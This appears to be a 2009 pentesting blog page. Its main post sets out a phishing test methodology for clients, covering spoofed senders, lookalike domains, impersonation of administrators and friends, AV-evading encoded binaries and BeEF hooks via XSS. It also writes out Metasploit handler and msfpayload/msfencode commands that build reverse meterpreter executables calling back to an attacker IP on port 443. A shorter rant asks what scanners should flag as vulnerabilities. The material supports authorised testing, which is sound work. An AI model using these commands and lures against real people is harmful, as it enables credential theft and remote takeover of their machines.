0x0e.org | pentesting perspective

braindump on pentesting, QA, metasploit, constant learning

Archive for December 2009

Phishing Attacks – Are your technical controls helping?

with 2 comments

Phishing is one of those things people either love or hate (A lot of it depends on which side of the fence you’re on). That said, the subject of phishing tends to make most admins nervous, as they know their users are going to be susceptible. In my experience, that’s true. However, there’s an awful lot of technical controls that can help prevent phishers from being successful. This methodology was developed to help test those technical controls. It’s a work in progress, but i want to get it out there for your use.

Attack Methodology (Theory)

The purpose of this attack methodology is to provide a repeatable way to test a client’s susceptibility to attacks sent over email. The attack methodology progressively increases in cleverness / technical ability of the attack. It aims to test not only the user’s awareness of a social engineering attack, but also the controls which prevent such attacks.

Many security controls are now involved when sending a simple email. A list of some of those controls:

  • Public Availability of Email Addresses / Sensitive Information
  • MX Configuration
    • Relaying Allowed?
    • MX Reputation Filtering?
  • Spam Filtering Capabilities
    • Client-Side
    • Server-Side
  • Spam Neutering Capabilities
    • Client-Side – disables links
    • Server-Side – disables links, disables binaries
  • Antivirus Capabilities
    • Client-Side – quarantines / deletes binaries
    • Server-Side –
  • Firewall Configuration
    • Inbound Traffic
    • Outbound Traffic
  • Traffic Proxying

Ways in which we can influence the success of the attack:

  • Spoof the sending email address
  • Source from a more reputable MX
  • make the binary look less malicious
    • Encode, or encrypt it to bypass AV
  • remove the binary, and place a link
    • ensure the binary connects back (rather than doing a bindshell <– you’d be dumb to do this [NAT])
      • ensure the binary uses proxy settings (passiveX)
    • send a link containing the malicious payload in an xss vector
    • send a link containing the malicious payload in a /stored/ xss vector

Email Sources:

  • Gmail / Hotmail / Other Free Email Service
  • Register similar-sounding domain, use your mailserver
  • Known (Compromised) Email Server on client’s domain
  • Other Known Email Server
  • Unknown Email Server – Attacker’s box

Social Engineering Plausibility (This is a whole subject in its own right):

  • Send a single link
  • Send a link w/ a story
  • Send a link w/ a story from “the security department” / “the administrator” / <Authority Figure>
  • Send a link w/ a story from <Insert Administrator’s Name here>
    • Better yet, get his actual sig
  • Send a link from a “friend”
    • harvest from myspace / twitter / etc
  • Register new account under known friend’s name, steal their picture / info, send a new link.
  • Set up a site to host “security patches” or “new improved notepad.exe”, send a link

Payload Types:

  • binary
    • malicious connect-back binary or script (unencoded) —– test AV
    • malicious connect-back binary or script (encoded) –/
    • malicious file (exploiting vulnerability in target’s system)
      • Adobe PDF
      • Flash FLV
      • Microsoft DOCX,PPTX,XLSX, etc
  • link
    • to page asking for personal information (email passwords – OWA)
    • to page w/ malicious binary (to be downloaded)
    • to page w/ an exploit (metasploit is good here)
    • to page w/ malicious exploit pack (multiple binaries tried via javascript – browser auto_pwn)
    • to page w/ malicious active-x control (passive-x)
    • to page w/ beef hook (can be encoded)
    • to reflected xss w/ beef
    • to stored xss containing beef

(add google analytics to any of these for easy tracking of victims)

Attack Methodology (Practical)

Payloads 

  • Prepare payloads
    • Prepare handler (on [ATTACKER-IP]) – listening on :443 so we avoid most egress filtering… :
      • ./toolkit/nix/framework-net/metasploit-svn/msfconsole
        use exploit/multi/handler
        set ExitOnSession false
        set PAYLOAD windows/meterpreter/reverse_tcp
        set LHOST [ATTACKER-IP]
        set LPORT 443
        save
        exploit -j
    • connect back, unencrypted:
      • ./toolkit/nix/framework-net/metasploit-svn/msfpayload windows/meterpreter/reverse_tcp LHOST=[ATTACKER-IP] LPORT=443 R| ./toolkit/nix/framework-net/metasploit-svn/msfencode -t exe -e generic/none -o unencoded.exe;
    • connect back, encrypted:
      • ./toolkit/nix/framework-net/metasploit-svn/msfpayload windows/meterpreter/reverse_tcp LHOST=[ATTACKER-IP] LPORT=443 R| ./toolkit/nix/framework-net/metasploit-svn/msfencode -t exe -o encoded.exe;
    • google analytics
    • beef hook script
    • beef hook via xss

Server

  • Prepare Email Servers
    • Register <Client>.Security@gmail.com (or some similar Gmail address)
    • Setup Local MX
      • utilize SEF, or some other form of Perl::MIME
    • Prepare Remotely-Accessible MX
    • Register Client Domains

Now that you’ve prepared, you can use each server type, to send each payload type.

Using GMAIL

  • Send unencoded binary (TEST-1)
  • Send encoded binary (TEST-2)
  • Send link to page w/ script (TEST-3)

What this tests

  • Spam Filtering
  • Content Filtering

Using a Local (Unknown to target) MX

  • Send unencoded binary (TEST-4)
  • Send encoded  binary (TEST-5)
  • Send link to page w/ script (TEST-6)

What this tests

This shouldn’t make it through.

  • Spam Filtering
  • Content Filtering
  • MX Reputation Analysis

Using a known, valid MX

  • Register domain (similar to target)
  • Set domain MX records to remotely-accessible mail server
  • Send unencoded binary (TEST-7)
  • Send encoded binary (TEST-8)
  • Send link to page w/ script (TEST-9)

What this tests

This will likely make it through.

  • Spam Filtering
  • Content Filtering
  • MX Reputation Analysis

Using a Target-owned  MX

  • Search for any internal relays
    • repeat above steps, sending through internal relay

What this tests

  • Spam Issues

Measuring Success

For a pentest, it’s useful to know as much information about the clients as possible. You also want some way to maintain access.

  • What you don’t want:
    • Multiple connect-backs to a single netcat listener
  • What you do want:
    • Users entering their information
    • Meterpreter payloads, with a handler waiting for connect-backs
    • Google Analytics

References

https://help.ubuntu.com/community/PostfixBasicSetupHowto – Postfix on ubuntu / debian

Written by jcran

December 16, 2009 at 11:34 PM

Posted in Uncategorized

what should be considered a vulnerability?

leave a comment »

…And now, a rant.

What should be considered (and reported) as a vulnerability when auditing a network?

Is weak network architecture? What if i can hit a critical server from an unprotected workstation? Isn’t that a vulnerability? Can we detect it?

What are today’s vulnerability scanners doing to detect bad management practices? Users w/ local administrator? Admins in the same segment as untrusted contractors? Windows servers / workstations with the same password?

Isn’t that a vulnerability? (hint – pass-the-hash)

What are scanners doing to detect insufficient technical controls? In the face of current (phishing, malware, etc) threats, should lack of egress filtering and lack of a proxy be considered a vulnerability? Should automated tools be picking this up and pointing it out?

Written by jcran

December 15, 2009 at 10:53 AM